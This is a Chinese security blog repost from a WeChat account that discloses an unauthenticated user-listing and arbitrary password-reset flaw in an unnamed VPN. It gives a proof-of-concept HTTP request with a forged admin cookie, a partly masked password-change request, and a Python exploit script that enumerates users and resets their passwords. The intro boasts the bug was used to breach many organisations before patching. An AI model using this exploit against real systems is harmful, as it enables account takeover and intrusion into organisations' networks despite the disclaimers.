免责声明:
由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任,一旦造成后果请自行承担!务必遵循所在国家法律法规,严禁未授权渗透测试
0x00简介:
去年的洞了,用了挺久穿了挺多单位,官方在年初应该出过补丁了,现在进行档案解密,关注本公众号,后续将有更多漏洞爆料。
0x01复现:
漏洞需要分两步完成
第一步是未授权遍历所有用户,POC如下
GET /admin/group/x_group.php?id=1 HTTP/1.1
Host: exppoc.org
Cookie: admin_id=1; gw_admin_ticket=1
Connection: close
第二步,修改任何一个指定用户的密码(内部公开)
POST /*****.php?type=1 HTTP/1.1
Host: exppoc.org
Cookie: *****
Content-Length: 57
Cache-Control: max-age=0
Sec-Ch-Ua: *****
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: *****
Origin: *****
Content-Type: application/x-www-form-urlencoded
User-Agent: *****
Accept: *****
Sec-Fetch-Site: *****
Sec-Fetch-Mode: *****
Sec-Fetch-User: *****
Sec-Fetch-Dest: *****
Referer: *****
Accept-Encoding: *****
Accept-Language: *****
Connection: *****
*****
0x02利用脚本(内部公开):
import click
import requests
import re
proxy = {
}
def check_poc1(url, uid=2):
header = {
"Cookie": "admin_id=1; gw_admin_ticket=1;",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
}
path = "/admin/group/x_group.php?id=%s" % uid
r = requests.get(url + path, headers=header, proxies=proxy, verify=False)
r.encoding = "utf-8"
if r.status_code == 200 and "group_action.php" in r.text:
if users := re.findall("本地认证->(.*?)</option>", r.text):
return users
else:
print("not found any user")
return []
def check_poc2(url, user, pwd):
header = {
"Cookie": '**********
"User-Agent": "**********",
"Origin": url,
"Referer": "**********" % url
}
body = {
"old_pass": "",
"password": pwd,
"repassword": pwd
}
path = "/**********"
r = requests.post(url + path, headers=header, data=body, proxies=proxy, verify=False)
r.encoding = "utf-8"
if r.status_code == 200 and "修改密码成功" in r.text:
return True
else:
return False
@click.command()
@click.option("--target", "-t", help="目标", required=True)
@click.option("--group", "-g", default=2, help="用户组", type=int)
@click.option("--user", "-u", help="用户名")
@click.option("--pwd", "-p", default="Asd123!@#123A", help="密码")
@click.option("--list-user", "-lu", is_flag=True)
@click.option("--change-pwd", "-cp", is_flag=True)
@click.option("--proxy", "proxies")
def main(target, group, user, pwd, list_user, change_pwd, proxies):
"""
step1 : list users (exppoc)
python exp.py -t https://1.1.1.1 -lu
user1
user2
...
step2 : change password (org)
python exp.py -t https://1.1.1.1 -u user1 -cp
"""
global proxy
if proxies:
proxy = {
"http": proxies,
"https": proxies
}
target = target.strip().strip("/")
print("target: " + target)
if list_user:
print("list users~")
if users := check_poc1(target, group):
print("n".join(users))
else:
"no vuln"
elif change_pwd:
print("change password~")
if status := check_poc2(target, user, pwd):
print("change %s pwd success, new pwd: %s " % (user, pwd))
else:
"false"
else:
print("please input -lu or -cp")
if __name__ == '__main__':
main()
原文始发于微信公众号(开普勒安全团队):档案解密暨漏洞复现 : 某VPN 未授权用户获取+任意用户密码修改
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论